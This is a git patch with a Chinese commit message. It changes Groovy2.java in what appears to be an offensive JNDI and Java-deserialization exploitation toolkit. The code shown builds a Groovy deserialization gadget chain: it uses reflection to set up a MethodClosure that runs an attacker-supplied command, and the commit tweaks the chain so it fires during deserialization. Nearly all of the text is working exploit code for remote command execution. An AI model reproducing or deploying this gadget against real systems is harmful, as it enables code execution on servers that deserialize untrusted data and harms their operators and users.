From 9db31149d041b78a0665d8a22f93e803eb482c89 Mon Sep 17 00:00:00 2001 From: Fw-fW-fw <136979459@qq.com> Date: Mon, 19 Aug 2024 19:06:59 +0800 Subject: [PATCH] =?UTF-8?q?groovy2=20gadget=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E6=97=B6=E8=A7=A6=E5=8F=91=EF=BC=8C=E6=96=B9=E4=BE=BF=E7=BB=84?= =?UTF-8?q?=E5=90=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/main/java/com/qi4l/jndi/gadgets/Groovy2.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java index b70d4b9..5fd7bcd 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java @@ -17,7 +17,7 @@ public class Groovy2 implements ObjectPayload { MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure"); Reflections.setFieldValue(execute,"owner",command); Reflections.setFieldValue(execute,"method","execute"); - GStringImpl gString = new GStringImpl(new Object[]{execute},new String[]{"start"}); + GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"}); try { Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);